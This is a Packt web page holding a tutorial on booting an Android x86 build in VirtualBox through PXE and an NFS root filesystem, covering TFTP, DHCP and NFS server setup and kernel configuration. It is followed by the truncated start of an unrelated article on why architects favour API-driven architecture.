Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Save more on your purchases! discount-offer-chevron-icon
Savings automatically calculated. No voucher code required.
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Newsletter Hub
Free Learning
Arrow right icon
timer SALE ENDS IN
0 Days
:
00 Hours
:
00 Minutes
:
00 Seconds

How-To Tutorials

7019 Articles
article-image-booting-android-system-using-pxenfs
Packt
29 May 2017
31 min read
Save for later

Booting Up Android System Using PXE/NFS

Packt
29 May 2017
31 min read
In this article by Roger Ye, the author of the book Android System Programming, introduces two challenges present in most of the embedded Linux system programming that you need to resolve before you can boot up your system. These two challenges are: How to load your kernel and ramdisk image? Where do you store your filesystem? (For more resources related to this topic, see here.) This is true for Android systems as well. After you got a development board, you have to build the bootloader first and flash it to the storage on the board before you can move to the next step. After that, you have to build the kernel, ramdisk, and filesystem. You have to repeat this tedious build, flash, and test process again and again. In this process, you need to use special tools to flash various images for the development board. Many embedded system developers want to get rid of the process of flashing images so that they can concentrate on the development work itself. Usually, they use two techniques PXE boot and NFS filesystem. If you search "Android NFS" on the Internet, you can find many articles or discussions about this topic. I don't have a development board on my hand, so I will use VirtualBox as a virtual hardware board to demonstrate how to boot a system using PXE bootloader and NFS as filesystem. To repeat the same process in this article, you need to have the following hardware and software environment. A computer running Ubuntu 14.04 as the host environment VirtualBox Version 5.1.2 or above A virtual machine running Android x86vbox A virtual machine running Ubuntu 14.04 as PXE server (optional) Android x86vbox is a ROM that I developed in the book Android System Programming. You can download the ROM image at the following URL: https://sourceforge.net/projects/android-system-programming/files/android-7/ch14/ch14.zip/download After you download the preceding ZIP file, you can find a list of files here: initrd.img: This is the modified ramdisk image from open source project android-x86 kernel: NFS-enabled Android kernel for device x86vbox ramdisk.img: ramdisk for the Android boot ramdisk-recovery.img: ramdisk for the recovery boot update-android-7.1.1_r4_x86vbox_ch14_r1.zip: OTA update image of x86vbox, you can install this image using recovery Setting up a PXE boot environment What is PXE? PXE means Preboot eXecution Environment. Before we can boot a Linux environment, what we need is to find a way to load kernel and ramdisk to the system memory. This is one of the major tasks performed by most of Linux bootloader. The bootloader usually fetches kernel and ramdisk from a kind of storage device, such as flash storage, harddisk, or USB. It can also be retrieved from a network connection. PXE is a method that we can boot a device with LAN connection and a PXE-capable network interface controller (NIC). As shown in the following diagram, PXE uses DHCP and TFTP protocols to complete the boot process. In a simplest environment, a PXE server is setup as both DHCP and TFTP server. The client NIC obtains the IP address from DHCP server and uses TFTP protocol to get the kernel and ramdisk images to start the boot process. I will demonstrate how to prepare a PXE-capable ROM for VirtualBox virtio network adapter so we can use this ROM to boot the system via PXE. You will also learn how to set up a PXE server which is the key element in the PXE boot setup. In VirtualBox, it also includes a built-in PXE server. We will explore this option as well. Preparing PXE Boot ROM Even though PXE boot is supported by VirtualBox, but the setup is not consistent on different host platforms. You may get error message like PXE-E3C - TFTP Error - Access Violation during the boot. This is because the PXE boot depends on LAN boot ROM. When you choose different network adapters, you may get different test results. To get a consistent test result, you can use the LAN boot ROM from Etherboot/gPXE project. gPXE is an open source (GPL) network bootloader. It provides a direct replacement for proprietary PXE ROMs, with many extra features such as DNS, HTTP, iSCSI, and so on. There is a page at gPXE project website about how to set up LAN boot ROM for VirtualBox: http://www.etherboot.org/wiki/romburning/vbox The following table is a list of network adapters supported by VirtualBox. VirtualBox adapters PCI vendor ID PCI device ID Mfr name Device name Am79C970A 1022h 2000h AMD PCnet-PCI II (AM79C970A) Am79C973 1022h 2000h AMD PCnet-PCI III (AM79C973) 82540EM 8086h 100Eh Intel Intel PRO/1000 MT Desktop (82540EM) 82543GC 8086h 1004h Intel Intel PRO/1000 T Server (82543GC) 82545EM 8086h 100Fh Intel Intel PRO/1000 MT Server (82545EM) virtio 1AF4h 1000h   Paravirtualized Network (virtio-net) Since paravirtualized network has better performance in most of the situation, we will explore how to support PXE boot using virtio-net network adapter. Downloading and building the LAN boot ROM There may be LAN boot ROM binary image available on the Internet, but it is not provided at gPXE project. We have to build from source code according to the instructions from gPXE project website. Let's download and build the source code using the following commands. $ git clone git://git.etherboot.org/scm/gpxe.git $ cd gpxe/src $ make bin/1af41000.rom # for virtio 1af4:1000 Fixing up the ROM image Before the ROM image can be used, the ROM image has to be updated due to VirtualBox have the following requirements on ROM image size: Size must be 4K aligned (that is, a multiple of 4096) Size must not be greater than 64K Let's check the image size first and make sure it is not larger than 65536 bytes (64K): $ ls -l bin/1af41000.rom | awk '{print $5}' 62464 We can see that it is less than 64K. Now, we have to pad the image file to a 4K boundary. We can do this using the following commands. $ python >>> 65536 - 62464 # Calculate padding size 3072 >>> f = open('bin/1af41000.rom', 'a') >>> f.write(' ' * 3072) # Pad with zeroes We can check the image file size again. $ ls -l 1af41000.rom | awk '{print $5}' 65536 As we can see, the size is 64K now. Configuring the virtual machine to use the LAN boot ROM To use this LAN boot ROM, we can use command VBoxManage to update VirtualBox settings. We use the following command to set the LanBootRom path: $ VBoxManage setextradata $VM_NAME VBoxInternal/Devices/pcbios/0/Config/LanBootRom /path/to/1af41000.rom Replace $VM_NAME with your VM's name. If you use global as $VM_NAME then all VMs will use the gPXE LAN boot ROM. To remove the above configuration, you just have to reset the path value as below. $ VBoxManage setextradata $VM_NAME VBoxInternal/Devices/pcbios/0/Config/LanBootRom You can also check the current configuration using the below command: $ VBoxManage getextradata $VM_NAME VBoxInternal/Devices/pcbios/0/Config/LanBootRom Value: /path/to/1af41000.rom If you don't want to build LAN boot ROM yourself, you can use the one that I posted at: https://sourceforge.net/projects/android-system-programming/files/android-7/ch14/1af41000.rom/download Setting up PXE boot environment With a proper PXE ROM installed, we can set up the PXE on the host now. Before we setup a PXE server, we need to think about the network connections. There are three ways a virtual machine in VirtualBox can connect to the network. Bridged network: Connect to the same physical network as the host. It looks like the virtual machine connects to the same LAN connection as the host. Host only network: Connect to a virtual network, which is only visible by the virtual machine and the host. In this configuration, the virtual machine cannot connect to outside network, such as Internet. NAT network: Connect to the host network through NAT. This is the most common choice. In this configuration, the virtual machine can access to the external network, but the external network cannot connect to the virtual machine directly. For an example, if you set up a FTP service on the virtual machine, the computers on the LAN of the host cannot access this FTP service. If you want to publish this service, you have to use port forwarding setting to do this. With these concepts in mind, if you want to use a dedicated machine as the PXE server, you can use bridged network in your environment. However, you must be very careful using this kind of setup. This is usually done by the IT group in your organization, since you cannot setup a DHCP server on the LAN without affecting others. We won't use this option here. The host only network is actually a good choice for this case, because this kind of network is an isolated network configuration. The network connection only exists between the host and the virtual machine. The problem is we cannot access to the outside network. We will configure two network interfaces to our virtual machine instance one host only network for the PXE boot and one NAT network to access Internet. We will see this configuration later. In VirtualBox, it also has a built-in PXE server in NAT network. With this option, we don't need to setup PXE server by ourselves. We will explain how to set up our own PXE boot environment first and then explain how to use the built-in PXE server of VirtualBox. As we can see in the following figure, we have two virtual machines pxeAndroid and PXE Server in our setup. The upper part PXE Server is optional. If we use the built-in PXE server, both PXE server and NFS server will be on the development host. Let's look at how to set up our own PXE server first. To setup a PXE boot environment, we need to install a TFTP and DHCP server. I assume that you can set up a Linux virtual machine by yourself. I will use Ubuntu as an example here. In your environment, you have to create two virtual machines. A PXE server with a host only network interface A virtual machine to boot Android with a host only network interface and a NAT network interface Setting up TFTP server We can install tftp server in the PXE server using the following command: $ sudo apt-get install tftpd-hpa After the tftp server is installed, we need to set up PXE boot configuration in the folder /var/lib/tftpboot. We can use the following command to start tftp server. $ sudo service tftpd-hpa restart Configuring DHCP server Once tftp server is installed, we need to install a DHCP server. We can install DHCP server using the following command. $ sudo apt-get install isc-dhcp-server After install the DHCP server, we have to add the following lines into the DHCP server configuration file at /etc/dhcp/dhcpd.conf. subnet 192.168.56.0 netmask 255.255.255.0 { range 192.168.56.10 192.168.56.99; filename "pxelinux.0"; } We use the IP address range 192.168.56.x for the host only subnet, since this is the default range after we create a host-only network in VirtualBox. There may be more than one host only network configured in your VirtualBox environment. You may want to check the right host only network configuration that you want to use and set the above configuration file according to the host only network setup. Configuring and testing the PXE boot After we set up the PXE server, we can create a virtual machine instance to test the environment. We will demonstrate this using Ubuntu 14.04 as the host environment. The same setup can be duplicated to Windows or OS X environment as well. If you use a Windows environment, you have to set up the NFS server inside the PXE server. The Windows host cannot support NFS. Setting up the Android Virtual Machine Let's create a virtual machine called pxeAndroid in VirtualBox first. After start VirtualBox, we can click on  the button New to create a new virtual machine as shown in the following screenshot: We call it pxeAndroid and choose Linux as the type of virtual machine. We can just follow the wizard to create this virtual machine with suitable configuration. After the virtual machine is created, we need to make a few changes to the settings. The first one need to be changed is the network configuration as I mentioned before we need both NAT and host Only connections. We can click on the name of virtual machine pxeAndroid first and then click on the button Settings to change the settings. Select the option Network in the left-hand side, as we can see from the following screen: We select the Adapter 1 and it is default to NAT network. We need to change the Adapter Type to Paravirtualized Network (virtio-net) since we will use the PXE ROM that we just built. The NAT network can connect to the outside network. It supports port forwarding so that we can access certain services in the virtual machine. The one that we need to set up here is the ADB service. We need to use ADB to debug the pxeAndroid device later. We can set up the port forwarding for ADB as follows: Now, we can select Adapter 2 to set up a host-only network as the following figure: We choose the adapter as Host-only Adapter and Adapter Type as Paravirtualized Network (virtio-net). Next, we can click on the System option to set the boot order so the default boot order is to boot from the network interface as the following figure: Configuring pxelinux.cfg Before we can test the virtual machine we just setup, we need to specify in the configuration file to let the PXE boot to know where to find the kernel and ramdisk images. The PXE boot process is something like this. When the virtual machine pxeAndroid power on, the client will get the IP address through DHCP. After the DHCP configuration is found, the configuration includes the standard information such as IP address, subnet mask, gateway, DNS, and so on. In addition, it also provides the location of TFTP server and the filename of a boot image. The name of boot image is usually called pxelinux.0 as we can see in the previous section when we set up DHCP server. The name of boot image is vmname.pxe for the built-in PXE boot environment. Where the vmname should be the name of virtual machine. For example, it is pxeAndroid.pxe for our virtual machine. The client contacts TFTP server to obtain the boot image. TFTP server sends the boot image (pxelinux.0 or vmname.pxe), and the client executes it. By default, the boot image searches the pxelinux.cfg directory on TFTP server for boot configuration files. The client downloads all the files it needs (kernel, ramdisk, or root filesystem) and then loads them. The target machine pxeAndroid reboots. In the above step 5, the boot image searches the boot configuration files in the following steps: First, it searches for the boot configuration file that is named according to the MAC address represented in lower case hexadecimal digits with dash separators. For example, for the MAC address 08:00:27:90:99:7B, it searches for the file 08-00-27-90-99-7b. Then, it searches for the configuration file using the IP address (of the machine that is being booted) in upper case hexadecimal digits. For example, for the IP address 192.168.56.100, it searches for the file C0A83864. If that file is not found, it removes one hexadecimal digit from the end and tries again. However, if the search is still not successful, it finally looks for a file named default (in lower case). For example, if the boot filename is /var/lib/tftpboot/pxelinux.0, the Ethernet MAC address is 08:00:27:90:99:7B, and the IP address is 192.168.56.100, the boot image looks for file names in the following order: /var/lib/tftpboot/pxelinux.cfg/08-00-27-90-99-7b /var/lib/tftpboot/pxelinux.cfg/C0A83864 /var/lib/tftpboot/pxelinux.cfg/C0A8386 /var/lib/tftpboot/pxelinux.cfg/C0A838 /var/lib/tftpboot/pxelinux.cfg/C0A83 /var/lib/tftpboot/pxelinux.cfg/C0A8 /var/lib/tftpboot/pxelinux.cfg/C0A /var/lib/tftpboot/pxelinux.cfg/C0 /var/lib/tftpboot/pxelinux.cfg/C /var/lib/tftpboot/pxelinux.cfg/default The boot image pxelinux.0 is part of an open source project syslinux. We can get the boot image and the menu user interface from Syslinux project using the following commands: $ sudo apt-get install syslinux After Syslinux is installed, pxelinux.0 can be copied to the TFTP root folder as . $ cp /usr/lib/syslinux/pxelinux.0 /var/lib/tftpboot/pxelinux.0 To have a better user interface, we can copy menu.c32 to the TFTP folder as well. $ cp /usr/lib/syslinux/menu.c32 /var/lib/tftpboot/menu.c32 pxelinux.cfg/default Now, we will look at how to configure the boot configuration file pxelinux.cfg/default. In our setup, it looks like the following code snippet: prompt 1 default menu.c32 timeout 100 label 1. NFS Installation (serial port) - x86vbox menu x86vbox_install_serial kernel x86vbox/kernel append ip=dhcp console=ttyS3,115200 initrd=x86vbox/initrd.img root=/dev/nfs rw androidboot.hardware=x86vbox INSTALL=1 DEBUG=2 SRC=/x86vbox ROOT=192.168.56.1:/home/sgye/vol1/android-6/out/target/product qemu=1 qemu.gles=0 label 2. x86vbox (ROOT=/dev/sda1, serial port) menu x86vbox_sda1 kernel x86vbox/kernel append ip=dhcp console=ttyS3,115200 initrd=x86vbox/initrd.img androidboot.hardware=x86vbox DEBUG=2 SRC=/android-x86vbox ROOT=/dev/sda1 ... The syntax in the boot configuration file can be found at the following URL from Syslinux project: http://www.syslinux.org/wiki/index.php?title=SYSLINUX In the mentioned configuration file that we use, we can see the following commands and options: prompt: It will let the bootloader know whether it will show a LILO-style "boot:" prompt. With this command line prompt, you can input the option directly. All the boot options define by the command label. default: It defines the default boot option. timeout: If more than one label entry is available, this directive indicates how long to pause at the boot: prompt until booting automatically, in units of 1/10 s. The timeout is cancelled when any key is pressed, the assumption being the user will complete the command line. A timeout of zero will disable the timeout completely. The default is 0. label: A human-readable string that describes a kernel and options. The default label is linux, but you can change this with the DEFAULT keyword. kernel: The kernel file that the boot image will boot. append: The kernel command line, which can be passed to the kernel during the boot. In this configuration file, we show two boot options. In the first option, we can boot to a minimum Linux environment using NFS root filesystem. We can install the x86vbox images from that environment to hard disk. The source location of installation is your AOSP build output folder. In the second option, we can boot x86vbox from disk partition /dev/sda1. After the x86vbox image is installed on the partition /dev/sda1, the Android system can be started using the second option. Using VirtualBox internal PXE booting with NAT VirtualBox provides a built-in support for PXE boot using NAT network. We can also set up PXE boot using this built-in facility. There are a few minor differences between the built-in PXE and the one that we set up in the PXE server. The built-in PXE uses the NAT network connection while the PXE server uses host only network connection. TFTP root is at /var/lib/tftpboot for the normal PXE setup while the built-in TFTP root is at $HOME/.VirtualBox/TFTP on Linux or %USERPROFILE%.VirtualBoxTFTP on Windows. Usually, the default boot image name is pxelinux.0, but it is vmname.pxe for the VirtualBox built-in PXE. For example, if we use pxeAndroid as virtual machine name, we have to make a copy of pxelinux.0 and name it pxeAndroid.pxe under the VirtualBox TFTP root folder. If you choose to use the built-in PXE support, you don't have to create a PXE server by yourself. This is the recommended test environment to simplify the test process. Setting up serial port for debugging The reason that we want to boot Android using PXE and NFS is that we want to use a very simple bootloader and find an easier way to debug the system. In order to see the debug log, we want to redirect the debug output from the video console to a serial port so that we can separate the graphic user interface from the debug output. We need to do two things in order to meet our goals. The Linux kernel debug message can be re-directed to a specific channel using kernel command-line arguments. We specify this in PXE boot configuration with option console=ttyS3,115200. This is defined in pxelinux.cfg/default as follows: label 1. NFS Installation (serial port) - x86vbox menu x86vbox_install_serial kernel x86vbox/kernel append ip=dhcp console=ttyS3,115200 initrd=x86vbox/initrd.img root=/dev/nfs rw androidboot.hardware=x86vbox INSTALL=1 DEBUG=2 SRC=/x86vbox ROOT=192.168.56.1:/home/sgye/vol1/android-6/out/target/product qemu=1 qemu.gles=0 We will explain the details about kernel parameters in the option append later. The next thing is that we need to create a virtual serial port so that we can connect to. We configure this in the virtual machine settings page as shown in the following screen: We use a host pipe to simulate the virtual serial port. We can set the path as something like /tmp/pxeAndroid_p. The mapping between COMx to /dev/ttySx can be found here: /dev/ttyS0 - COM1 /dev/ttyS1 - COM2 /dev/ttyS2 - COM3 /dev/ttyS3 - COM4 To connect to the host pipe, we can use a tool like minicom in Linux or putty in Windows. If you don't have minicom installed, you can install and configure minicom as shown in the host environment: $ sudo apt-get install minicom To setup minicom, we can use the following command: $ sudo minicom -s After minicom start, select Serial port setup, and set Serial Device as unix#/tmp/pxeAndroid_p. Once this is done, select Save setup as dfl and Exit from minicom as shown in the following screenshot. Now, we can connect to the virtual serial port using minicom: After we made all the changes for the configuration, we can power on the virtual machine and test it. We should be able to see the following boot up screen: We can see from the preceding screenshot that the virtual machine loads the file pxelinux.cfg/default and wait on the boot prompt. We are ready to boot from PXE ROM now. Build AOSP images To build the x86vbox images in this article, we can retrieve the source code using the following commands: $ repo init https://github.com/shugaoye/manifests -b android-7.1.1_r4_ch14_aosp $ repo sync After the source code is ready for use, we can set the environment and build the system as shown here: $ . build/envsetup.sh $ lunch x86vbox-eng $ make -j4 To build initrd.img, we can run the following command. $ make initrd USE_SQUASHFS=0 We can also build an OTA update image which can use recovery to install it. $ cd device/generic/x86vbox $ make dist NFS filesystem Since I am discussing about Android system programming, I will assume you know how to build Android images from AOSP source code. In our setup, we will use the output from the AOSP build to boot the Android system in VirtualBox. They are not able to be used by VirtualBox directly. For example, the system.img can be used by emulator, but not VirtualBox. VirtualBox can use the standard virtual disk images in VDI, VHD, or VMDK formats, but not the raw disk image as system.img. In some open source projects, such as the android-x86 project, the output is an installation image, such as ISO or USB disk image formats. With an installation image, it can be burnt to CD ROM or USB drive. Then, we can boot VirtualBox from CD ROM or USB to install the system just like how we install Windows on our PC. It is quite tedious and not efficient to use this method, when we are debugging a system. As a developer, we want a simple and quick way that we can start the debugging immediately after we build the system. The method that we will use here is to boot the system using NFS filesystem. The key point is that we will treat the output folder of AOSP build as the root filesystem directly so that we can boot the system using it without any additional work. If you are an embedded system developer, you may be used this method in your work already. When we work on the initial debugging phase of an embedded Linux system, we often use NFS filesystem as a root filesystem. With this method, we can avoid to flash the images to the flash storage every time after the build. Preparing the kernel To support NFS boot, we need a Linux kernel with NFS filesystem support. The default Linux kernel for Android doesn't have NFS boot support. In order to boot Android and mount NFS directory as root filesystem, we have to re-compile Linux kernel with the following options enabled: CONFIG_IP_PNP=y CONFIG_IP_PNP_DHCP=y CONFIG_IP_PNP_BOOTP=y CONFIG_IP_PNP_RARP=y CONFIG_USB_USBNET=y CONFIG_USB_NET_SMSC95XX=y CONFIG_USB=y CONFIG_USB_SUPPORT=y CONFIG_USB_ARCH_HAS_EHCI=y CONFIG_NETWORK_FILESYSTEMS=y CONFIG_NFS_FS=y CONFIG_NFS_V3=y CONFIG_NFS_V3_ACL=y CONFIG_ROOT_NFS=y The kernel source code used in this article is a modified version by me for the book Android System Programming. You can find the source code at the following URL: https://github.com/shugaoye/goldfish We can get the source code using the following command: $ git clone https://github.com/shugaoye/goldfish -b android-7.1.1_r4_x86vbox_ch14_r We can use menuconfig to change the kernel configuration or copy a configuration file with NFS support. To configure kernel build using menuconfig, we can use the following commands: $ . build/envsetup.sh $ lunch x86vbox-eng $ make -C kernel O=$OUT/obj/kernel ARCH=x86 menuconfig We can also use the configuration file with NFS enable from my GitHub directly. We can observe the difference between this configuration file and the default kernel configuration file from android-x86 project as shown here: $ diff kernel/arch/x86/configs/android-x86_defconfig ~/src/android-x86_nfs_defconfig 216a217 > # CONFIG_SYSTEM_TRUSTED_KEYRING is not set 1083a1085 > CONFIG_DNS_RESOLVER=y 1836c1838 < CONFIG_VIRTIO_NET=m --- > CONFIG_VIRTIO_NET=y 1959c1961 < CONFIG_E1000=m --- > CONFIG_E1000=y 5816a5819 > # CONFIG_ECRYPT_FS is not set 5854,5856c5857,5859 < CONFIG_NFS_FS=m < CONFIG_NFS_V2=m < CONFIG_NFS_V3=m --- > CONFIG_NFS_FS=y > CONFIG_NFS_V2=y > CONFIG_NFS_V3=y 5858c5861 < # CONFIG_NFS_V4 is not set --- > CONFIG_NFS_V4=y 5859a5863,5872 > CONFIG_NFS_V4_1=y > CONFIG_NFS_V4_2=y > CONFIG_PNFS_FILE_LAYOUT=y > CONFIG_PNFS_BLOCK=y > CONFIG_NFS_V4_1_IMPLEMENTATION_ID_DOMAIN="kernel.org" > # CONFIG_NFS_V4_1_MIGRATION is not set > CONFIG_NFS_V4_SECURITY_LABEL=y > CONFIG_ROOT_NFS=y > # CONFIG_NFS_USE_LEGACY_DNS is not set > CONFIG_NFS_USE_KERNEL_DNS=y 5861,5862c5874,5875 < CONFIG_GRACE_PERIOD=m < CONFIG_LOCKD=m --- > CONFIG_GRACE_PERIOD=y > CONFIG_LOCKD=y 5865c5878,5880 < CONFIG_SUNRPC=m --- > CONFIG_SUNRPC=y > CONFIG_SUNRPC_GSS=y > CONFIG_SUNRPC_BACKCHANNEL=y 5870a5886 > # CONFIG_CIFS_UPCALL is not set 5873a5890 > # CONFIG_CIFS_DFS_UPCALL is not set 6132c6149,6153 < # CONFIG_KEYS is not set --- > CONFIG_KEYS=y > # CONFIG_PERSISTENT_KEYRINGS is not set > # CONFIG_BIG_KEYS is not set > # CONFIG_ENCRYPTED_KEYS is not set > # CONFIG_KEYS_DEBUG_PROC_KEYS is not set 6142a6164 > # CONFIG_INTEGRITY_SIGNATURE is not set 6270a6293 > # CONFIG_ASYMMETRIC_KEY_TYPE is not set 6339a6363 > CONFIG_ASSOCIATIVE_ARRAY=y 6352a6377 > CONFIG_OID_REGISTRY=y We can copy this configuration file and use it to build Linux kernel as shown here: $ cp ~/src/android-x86_nfs_defconfig out/target/product/x86/obj/kernel/.config $ . build/envsetup.sh $ lunch x86vbox-eng $ make -C kernel O=$OUT/obj/kernel ARCH=x86 After the build, we can copy the kernel and ramdisk files to the TFTP root at /var/lib/tftpboot/x86vbox or $HOME/.VirtualBox/TFTP/x86vbox. Setting up NFS server After we prepare the Android kernel, we need to setup a NFS server on our development host so that we can mount to the NFS folders exported by our NFS server. We can check whether the NFS server is already installed or not using the following command: $ dpkg -l | grep nfs If the NFS server is not installed, we can install it using the following command: $ sudo apt-get install nfs-kernel-server Once we have a NFS server ready, we need to export our root filesystem through NFS. We will use the AOSP build output folder as we mentioned previously. We can add the following line to the configuration file /etc/exports. $AOSP/out/target/product/ *(rw,sync,insecure,no_subtree_check,async) After that, we execute the following command to export the folder $AOSP/out/target/product. You need to replace $AOSP to the absolute path in your setup. $ sudo exportfs -a Configuring PXE boot menu We can use PXE boot ROM to support the boot path like a real Android device. As we know that Android device can boot to three different modes, they are the bootloader mode, the recovery mode and the normal start up. With PXE boot ROM, we can easily support the same and more. By configuring the file pxelinux.cfg/default, we can allow x86vbox to boot in different paths. We will configure multiple boot paths here. Booting to NFS installation We can boot the system to an installation mode so that we can borrow the installation script from android-x86 project to install x86vbox images to the virtual hard disk. label 1. NFS Installation (serial port) - x86vbox menu x86vbox_install_serial kernel x86vbox/kernel append ip=dhcp console=ttyS3,115200 initrd=x86vbox/initrd.img root=/dev/nfs rw androidboot.hardware=x86vbox INSTALL=1 DEBUG=2 SRC=/x86vbox ROOT=192.168.56.1:$AOSP/out/target/product In this configuration, we use the NFS-capable kernel from TFTP folder, such as $HOME/.VirtualBox/TFTP/x86vbox/kernel. The ramdisk image initrd.img is also stored in the same folder. Both files under TFTP folder can actually be the symbol links to the AOSP output. In this case, we don't have to copy them after the build. We use the following three options to configure the NFS boot. ip=dhcp: Use DHCP to get IP address from DHCP server. The DHCP server can be the built-in DHCP server of VirtualBox or the one that we set up previously. root=/dev/nfs: Use NFS boot. ROOT=10.0.2.2:$AOSP/out/target/product: The root is the AOSP output folder in the development host. If we use the built-in PXE, the IP address 10.0.2.2 is the default host IP address in the NAT network. It could be changed using the VirtualBox configuration. We want to monitor the debug output so we set the console to the virtual serial port that we configured previously as console=ttyS3,115200. We can use a host pipe to connect to it using minicom. We set three kernel parameters using by the android-x86 init script and installation script. INSTALL=1: Tells the init script that we want to install the system. DEBUG=2: This will bring us to the debug console during the boot process. SRC=/x86vbox: This is the directory for the android root filesystem. Finally, the option androidboot.hardware=x86vbox is passed to the Android init process to tell which init script to run. In this case, the device init script init.x86vbox.rc will be executed. In our PXE boot menu, we can add another configuration for the installation without option console=ttyS3,115200. In this case, all debug output will print on the screen which is the default standard output. Booting to hard disk We can have another option as shown to boot the system from hard disk after we install the system using the previous configuration. label 2. x86vbox (ROOT=/dev/sda1, serial port) menu x86vbox_sda1 kernel x86vbox/kernel append ip=dhcp console=ttyS3,115200 initrd=x86vbox/initrd.img androidboot.hardware=x86vbox DEBUG=2 SRC=/android-x86vbox ROOT=/dev/sda1 In the preceding configuration, we use device /dev/sda1 as root and we don't have the option INSTALL=1. With this configuration, the virtual machine will boot to Android system from hard disk /dev/sda1 and the debug output will print to virtual serial port. We can configure another similar configuration which prints the debug output to the screen. Booting to recovery With PXE boot menu, we can configure the system to boot to recovery as well. We can see the following configuration: label 5. x86vbox recovery (ROOT=/dev/sda2) menu x86vbox_recovery kernel x86vbox/kernel append ip=dhcp console=ttyS3,115200 initrd=x86vbox/ramdisk-recovery.img androidboot.hardware=x86vbox DEBUG=2 SRC=/android-x86vbox ROOT=/dev/sda2 Note the difference here is that we use recovery ramdisk instead of initrd.img. Since recovery is a self-contained environment, we can set variable ROOT to another partition as well. We can use recovery to install an OTA update image. With PXE boot, you can explore many different possibilities to play with various boot methods and images. With all this setup, we can boot to PXE boot menu as the following screenshot: We can select an option from the PXE boot menu above to boot to a debug console as shown here: From the preceding debug output, we can see that the virtual machine obtains the IP address 10.0.2.15 from DHCP server 10.0.2.2. The NFS root is found at IP address 192.168.56.1, which is the development host. It uses a different IP address range is because we use two network interfaces in our configuration. We use a NAT network interface which has the IP address range in 10.0.2.x and a host-only network interface which has the IP address range in 192.168.56.x. The IP address 10.0.2.2 is the IP address of the development host in NAT network while IP address 192.168.56.1 is the IP address of the development host in host only network. In this setup, we use the VirtualBox built-in PXE support so both DHCP and TFTP server are on the NAT network interface. If we use a separate PXE server, both DHCP and TFTP server will be on the host only network interface. It is possible to boot the Android system from the directory $OUT/system using NFS filesystem. In that case, we don't need any installation process at all. However, we need to make changes to netd to disable flushing the routing rules. The changes can be done in the following file in the function flushRules: $AOSP/system/netd/server/RouteController.cpp Without this change, the network connection will be reset after the routing rules are flushed. However, we can still use NFS boot to perform the first stage boot or install the system to hard disk. This alternative already makes our development process much efficient. Summary In this article, you learned a debugging method with the combination of PXE boot and NFS root filesystem. This is a common practice in the embedded Linux development world. We try to use the similar setup for the Android system development. As we can see this setup can make the development and debugging process more efficiently. We can use this setup to remove the dependency of bootloader. We can also reduce the time to flash or provision the build images to the device. Even though we did all the exploration in VirtualBox, you can reuse the same method in your hardware board development as well. Resources for Article: Further resources on this subject: Setting up Development Environment for Android Wear Applications [article] Practical How-To Recipes for Android [article] Optimizing Games for Android [article]
Read more
  • 0
  • 1
  • 40188

article-image-architects-love-api-driven-architecture
Aaron Lazar
07 Jun 2018
6 min read
Save for later

8 Reasons why architects love API driven architecture

Aaron Lazar
07 Jun 2018
6 min read
Everyday, we see a new architecture popping up, being labeled as a modern architecture for application development. That’s what happened with Microservices in the beginning, and then all went for a toss when they were termed as a design pattern rather than an architecture on a whole. APIs are growing in popularity and are even being used as a basis to draw out the architecture of applications. We’re going to try and understand what some of the top factors are, which make Architects (and Developers) appreciate API driven architectures over the other “modern” and upcoming architectures. Before we get to the reasons, let’s understand where I’m coming from in the first place. So, we recently published our findings from the Skill Up survey that we conducted for 8,000 odd IT pros. We asked them various questions ranging from what their favourite tools were, to whether they felt they knew more than what their managers did. Of the questions, one of them was directed to find out which of the modern architectures interested them the most. The choices were among Chaos Engineering, API Driven Architecture and Evolutionary Architecture. Source: Skill Up 2018 From the results, it's evident that they’re more inclined towards API driven Architecture. Or maybe, those who didn’t really find the architecture of their choice among the lot, simply chose API driven to be the best of the lot. But why do architects love API driven development? Anyway, I’ve been thinking about it a bit and thought I would come up with a few reasons as to why this might be so. So here goes… Reason #1: The big split between the backend and frontend Also known as Split Stack Development, API driven architecture allows for the backend and frontend of the application to be decoupled. This allows developers and architects to mitigate any dependencies that each end might have or rather impose on the other. Instead of having the dependencies, each end communicates with the other via APIs. This is extremely beneficial in the sense that each end can be built in completely different tools and technologies. For example, the backend could be in Python/Java, while the front end is built in JavaScript. Reason #2: Sensibility in scalability When APIs are the foundation of an architecture, it enables the organisation to scale the app by simply plugging in services as and when needed, instead of having to modify the app itself. This is a great way to plugin and plugout functionality as and when needed without disrupting the original architecture. Reason #3: Parallel Development aka Agile When different teams work on the front and back end of the application, there’s no reason for them to be working together. That doesn’t mean they don’t work together at all, rather, what I mean is that the only factor they have to agree upon is the API structure and nothing else. This is because of Reason #1, where both layers of the architecture are disconnected or decoupled. This enables teams to be more flexible and agile when developing the application. It is only at the testing and deployment stages that the teams will collaborate more. Reason #4: API as a product This is more of a business case, rather than developer centric, but I thought I should add it in anyway. So, there’s something new that popped up on the Thoughtworks Radar, a few months ago - API-as-a-product.  As a matter of fact, you could consider this similar to API-as-a-Service. Organisations like Salesforce have been offering their services in the form of APIs. For example, suppose you’re using Salesforce CRM and you want to extend the functionality, all you need to do is use the APIs for extending the system. Google is another good example of a company that offers APIs as products. This is a great way to provide extensibility instead of having a separate application altogether. Individual APIs or groups of them can be priced with subscription plans. These plans contain not only access to the APIs themselves, but also a defined number of calls or data that is allowed. Reason #5: Hiding underlying complexity In an API driven architecture, all components that are connected to the API are modular, exist on their own and communicate via the API. The modular nature of the application makes it easier to test and maintain. Moreover, if you’re using or consuming someone else’s API, you needn’t learn/decipher the entire code’s working, rather you can just plug in the API and use it. That reduces complexity to a great extent. Reason #6: Business Logic comes first API driven architecture allows developers to focus on the Business Logic, rather than having to worry about structuring the application. The initial API structure is all that needs to be planned out, after which each team goes forth and develops the individual APIs. This greatly reduces development time as well. Reason #7: IoT loves APIs API architecture makes for a great way to build IoT applications, as IoT needs a great deal of scalability. An application that is built on a foundation of APIs is a dream for IoT developers as devices can be easily connected to the mother app. I expect everything to be connected via APIs in the next 5 years. If it doesn’t happen, you can always get back at me in the comments section! ;) Reason #8: APIs and DevOps are a match made in Heaven APIs allow for a more streamlined deployment pipeline, while also eliminating the production of duplicate assets by development teams. Moreover, deployments can reach production a lot faster through these slick pipelines, thus increasing efficiency and reducing costs by a great deal. The merger of DevOps and API driven architecture, however, is not a walk in the park, as it requires a change in mindset. Teams need to change culturally, to become enablers of reusable, self-service consumption. The other side of the coin Well, there’s always two sides to the coin, and there are some drawbacks to API driven architecture. For 